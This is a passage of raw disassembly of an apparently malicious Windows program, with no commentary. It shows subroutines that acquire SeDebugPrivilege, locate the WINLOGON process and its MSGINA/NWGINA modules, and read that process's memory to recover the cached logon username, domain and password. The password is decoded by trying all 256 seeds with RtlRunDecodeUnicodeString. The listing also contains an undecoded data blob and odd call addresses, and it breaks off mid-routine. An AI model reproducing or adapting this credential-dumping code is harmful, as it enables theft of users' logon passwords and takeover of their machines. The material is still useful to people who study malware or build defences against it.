loc_416EB7:				; CODE XREF: sub_416DD9+2Cj
					; sub_416DD9+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_416EE9:				; CODE XREF: sub_416DD9+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416DD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EFD	proc near		; CODE XREF: sub_416FCF+17p
					; sub_416FCF+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416F70
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_43844C
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_416FA4
; ---------------------------------------------------------------------------


loc_416F70:				; CODE XREF: sub_416EFD+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_438410
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 20h


loc_416FA4:				; CODE XREF: sub_416EFD+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_415D38
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416EFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FCF	proc near		; CODE XREF: sub_401ACD+252Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416FF0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h
		jmp	short loc_417051
; ---------------------------------------------------------------------------


loc_416FF0:				; CODE XREF: sub_416FCF+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB98C
		lea	esi, [eax+2]
		push	esi
		call	sub_41BEB5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB98C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_417048


loc_417014:				; CODE XREF: sub_416FCF+77j
		push	offset off_438488
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417037
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h


loc_417037:				; CODE XREF: sub_416FCF+54j
		push	esi
		call	sub_41B9C0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_417014


loc_417048:				; CODE XREF: sub_416FCF+43j
		push	edi
		call	sub_41BA91
		pop	ecx
		pop	edi
		pop	esi


loc_417051:				; CODE XREF: sub_416FCF+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416FCF	endp

; ---------------------------------------------------------------------------
dword_417054	dd 81EC8B55h, 49CECh, 8458B00h,	0B9575653h, 0A7h, 0BD8DF08Bh
					; DATA XREF: sub_401ACD+67C1o
		dd 0FFFFFD64h, 80C7A5F3h, 298h,	1, 0FEEC858Dh, 0E850FFFFh
		dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h
		dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh
		dd 50FFFFFDh, 4384AC68h, 64858D00h, 68FFFFFBh, 200h, 529AE850h
		dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh
		dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh,	83FFFF27h
		dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h
		dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh,	0C4830000h
		dd 858D5018h, 0FFFFFB64h, 43848C68h, 3FE85000h,	83000051h
		dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh,	858D50F4h
		dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h
		dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h
		dd 95E85359h, 90022C8Eh, 555B5E5Fh, 0EC81EC8Bh,	54Ch, 0BE575653h
		dd 104h, 8D1875FFh, 0FFFDB885h,	84F068FFh, 50560043h, 51CBE8h
		dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh,	0B8858D50h
		dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC4BBh, 0F6717400h
		dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h
		dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh,	0FFFEE885h
		dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h,	0FF000051h
		dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h
		dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh
		dd 0E890FC75h, 2368DD8h, 8F75C085h, 90FC75FFh, 1C8DCBE8h
		dd 1475FF02h, 0FDB8858Dh, 75FFFFFFh, 50565318h,	5117E8h
		dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh
		dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h
		dd 0FFFFFFFAh, 0D4681875h, 68004384h, 200h, 50DAE850h
		dd 16A0000h, 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch
		dd 0FF25CCE8h, 28C483FFh, 0FEBC858Dh, 5650FFFFh, 8D52E890h
		dd 0C0850236h, 9056B175h, 1C8D47E8h, 1C458B02h,	0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172C1	proc near		; DATA XREF: sub_401ACD+1C72o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41AE41
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_417300
		cmp	eax, 2
		jz	short loc_417300
		push	offset unk_4386C8
		jmp	loc_41743F
; ---------------------------------------------------------------------------


loc_417300:				; CODE XREF: sub_4172C1+2Ej
					; sub_4172C1+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41743A
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26B0000h
		mov	esi, dword_4270C4
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D488C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D4880, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D4A90, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D4888, eax
		call	esi
		mov	dword_4D4884, eax
		call	sub_417493
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41740D
		mov	esi, dword_427148
		mov	edi, 400h
		mov	ebx, offset dword_4D3880
		push	edi
		push	ebx
		push	offset off_438604
		call	esi
		push	edi
		mov	edi, offset dword_4D4080
		push	edi
		push	offset off_4385EC
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D4A98
		push	[ebp+arg_0]
		jnz	short loc_4173B9
		call	sub_41761C
		jmp	short loc_4173BE
; ---------------------------------------------------------------------------


loc_4173B9:				; CODE XREF: sub_4172C1+EFj
		call	sub_4177C3


loc_4173BE:				; CODE XREF: sub_4172C1+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417406
		cmp	dword_4D4A98, 0
		jnz	short loc_4173ED
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_438590
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 18h
		jmp	short loc_417420
; ---------------------------------------------------------------------------


loc_4173ED:				; CODE XREF: sub_4172C1+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4173FD
		call	sub_4178F9
		jmp	short loc_417402
; ---------------------------------------------------------------------------


loc_4173FD:				; CODE XREF: sub_4172C1+133j
		call	sub_417990


loc_417402:				; CODE XREF: sub_4172C1+13Aj
		pop	ecx
		push	eax
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_417406:				; CODE XREF: sub_4172C1+101j
		push	offset unk_438558
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_41740D:				; CODE XREF: sub_4172C1+B6j
		push	offset unk_43852C


loc_417412:				; CODE XREF: sub_4172C1+143j
					; sub_4172C1+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_417420:				; CODE XREF: sub_4172C1+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 27C0000h
		pop	ebx
		jmp	short loc_41744D
; ---------------------------------------------------------------------------


loc_41743A:				; CODE XREF: sub_4172C1+4Ej
		push	offset unk_4384F8


loc_41743F:				; CODE XREF: sub_4172C1+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41744D:				; CODE XREF: sub_4172C1+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_417474
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409869
		add	esp, 14h


loc_417474:				; CODE XREF: sub_4172C1+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_415D38
		push	[ebp+var_18]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_4172C1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417493	proc near		; CODE XREF: sub_4172C1+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427154
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D488C
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27D0000h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D488C
		test	eax, eax
		jnz	short loc_417580
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417580
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_417580


loc_41751C:				; CODE XREF: sub_417493+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_417573
		push	0
		push	0
		call	dword_4D4880
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D4A90
		test	eax, eax
		jnz	short loc_417564
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417598


loc_417564:				; CODE XREF: sub_417493+AAj
		test	edi, edi
		jz	short loc_41756F
		push	edi
		call	dword_4D4888


loc_41756F:				; CODE XREF: sub_417493+D3j
		mov	eax, [esp+28h+var_10]


loc_417573:				; CODE XREF: sub_417493+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_41751C


loc_417580:				; CODE XREF: sub_417493+6Dj
					; sub_417493+7Aj ...
		xor	edi, edi


loc_417582:				; CODE XREF: sub_417493+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27D0000h
		mov	eax, edi


loc_417590:				; CODE XREF: sub_417493+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_417598:				; CODE XREF: sub_417493+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_417601
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_4175AE:				; CODE XREF: sub_417493+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417615
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4175F3
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_4175F3:				; CODE XREF: sub_417493+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_4175AE


loc_417601:				; CODE XREF: sub_417493+10Fj
		test	edi, edi
		jz	short loc_41760C
		push	edi
		call	dword_4D4888


loc_41760C:				; CODE XREF: sub_417493+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_417582
; ---------------------------------------------------------------------------


loc_417615:				; CODE XREF: sub_417493+13Cj
		xor	eax, eax
		jmp	loc_417590
sub_417493	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41761C	proc near		; CODE XREF: sub_4172C1+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 268075Ah
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_417645
		xor	eax, eax
		jmp	loc_4177C0
; ---------------------------------------------------------------------------


loc_417645:				; CODE XREF: sub_41761C+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27F0000h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427154
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_42715C
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_417695
		xor	esi, esi
		jmp	loc_4177B3
; ---------------------------------------------------------------------------


loc_417695:				; CODE XREF: sub_41761C+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 27E0B59h
		test	eax, eax
		jz	loc_4177A2
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4177A2
		test	[ebp+var_2B], 1
		jnz	loc_4177A2
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4177A2


loc_4176F8:				; CODE XREF: sub_41761C+112j
		push	edi
		push	offset dword_4D3880
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417720
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D4080
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417730


loc_417720:				; CODE XREF: sub_41761C+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4177A2
		jmp	short loc_4176F8
; ---------------------------------------------------------------------------


loc_417730:				; CODE XREF: sub_41761C+102j
		test	edi, edi
		jz	short loc_4177A2
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 27706EDh
		test	eax, eax
		jz	short loc_41776B
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	near ptr 2770000h
		nop
		test	eax, eax
		jz	short loc_41776B
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_41776B:				; CODE XREF: sub_41761C+12Bj
					; sub_41761C+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4AA4, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D4A9C, eax
		mov	dword_4D4AA0, edi


loc_4177A2:				; CODE XREF: sub_41761C+90j
					; sub_41761C+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		call	near ptr 27D0000h
		nop
		mov	esi, [ebp+var_10]


loc_4177B3:				; CODE XREF: sub_41761C+74j
		push	[ebp+var_4]
		nop
		call	near ptr 2660C52h
		pop	edi
		mov	eax, esi
		pop	ebx


loc_4177C0:				; CODE XREF: sub_41761C+24j
		pop	esi
		leave
		retn
sub_41761C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177C3	proc near		; CODE XREF: sub_4172C1:loc_4173B9p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 268075Ah
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4178B5
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 27F0000h
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_4178AC
		mov	edi, dword_427154


loc_41780E:				; CODE XREF: sub_4177C3+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27E0B59h
		test	eax, eax
		jz	short loc_41789A
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4178A0
		test	[ebp+var_13], 1
		jnz	short loc_4178A0
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27E0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 27E0DF2h
		nop
		test	eax, eax
		jz	short loc_41788C
		push	offset dword_4D3880
		push	esi
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41788C
		lea	eax, [esi+400h]
		push	offset dword_4D4080
		push	eax
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4178BC


loc_41788C:				; CODE XREF: sub_4177C3+9Fj
					; sub_4177C3+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	near ptr 27D0000h
		nop
		jmp	short loc_4178A0
; ---------------------------------------------------------------------------


loc_41789A:				; CODE XREF: sub_4177C3+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4178A0:				; CODE XREF: sub_4177C3+71j
					; sub_4177C3+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_41780E


loc_4178AC:				; CODE XREF: sub_4177C3+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 2660C52h


loc_4178B5:				; CODE XREF: sub_4177C3+1Ej
		xor	eax, eax


loc_4178B7:				; CODE XREF: sub_4177C3+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4178BC:				; CODE XREF: sub_4177C3+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D4A9C, ebx
		mov	dword_4D4AA0, eax
		cmp	[eax], cl
		jnz	short loc_4178DE
		cmp	[eax+1], cl
		jz	short loc_4178E6


loc_4178DE:				; CODE XREF: sub_4177C3+114j
					; sub_4177C3+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4178DE


loc_4178E6:				; CODE XREF: sub_4177C3+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 2660C52h
		push	1
		pop	eax
		jmp	short loc_4178B7
sub_4177C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178F9	proc near		; CODE XREF: sub_4172C1+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D4A98
		push	esi
		mov	esi, dword_427154
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27E0000h
		mov	ecx, dword_4D4A98
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4AA0
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4AA4
		push	eax
		call	dword_4D4884
		push	[ebp+var_4]
		mov	edi, offset dword_4D4890
		push	offset dword_4D3880
		push	offset dword_4D4080
		push	[ebp+arg_0]
		push	offset dword_438714
		push	200h
		push	edi
		call	sub_41C360
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	near ptr 27D0000h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4178F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417990	proc near		; CODE XREF: sub_4172C1:loc_4173FDp

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D4A98
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27E0AF6h
		push	eax
		nop
		call	near ptr 27E0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D4080
		mov	edi, 200h
		mov	esi, offset dword_4D3680


loc_4179D6:				; CODE XREF: sub_417990+FAj
		mov	eax, dword_4D4A98
		add	eax, eax
		push	eax
		push	dword_4D4AA0
		push	[ebp+var_14]
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D4884
		mov	eax, dword_4D4A98
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_417A4B


loc_417A13:				; CODE XREF: sub_417990+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417A68
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417A37
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417A37
		cmp	dl, 20h
		jnb	short loc_417A31
		and	[ebp+var_8], 0


loc_417A31:				; CODE XREF: sub_417990+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417A3B


loc_417A37:				; CODE XREF: sub_417990+90j
					; sub_417990+96j
		and	[ebp+var_8], 0


loc_417A3B:				; CODE XREF: sub_417990+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_417A13
		cmp	[ebp+var_8], 0
		jz	short loc_417A68


loc_417A4B:				; CODE XREF: sub_417990+81j
		push	[ebp+var_14]
		push	offset dword_4D3880
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438714
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 1Ch
		jmp	short loc_417A80
; ---------------------------------------------------------------------------


loc_417A68:				; CODE XREF: sub_417990+87j
					; sub_417990+B9j
		push	offset dword_4D3880
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438764
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 18h


loc_417A80:				; CODE XREF: sub_417990+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_4179D6
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27E0AF6h
		push	eax
		call	near ptr 27D0000h
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417990	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AA9	proc near		; CODE XREF: sub_417C61+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
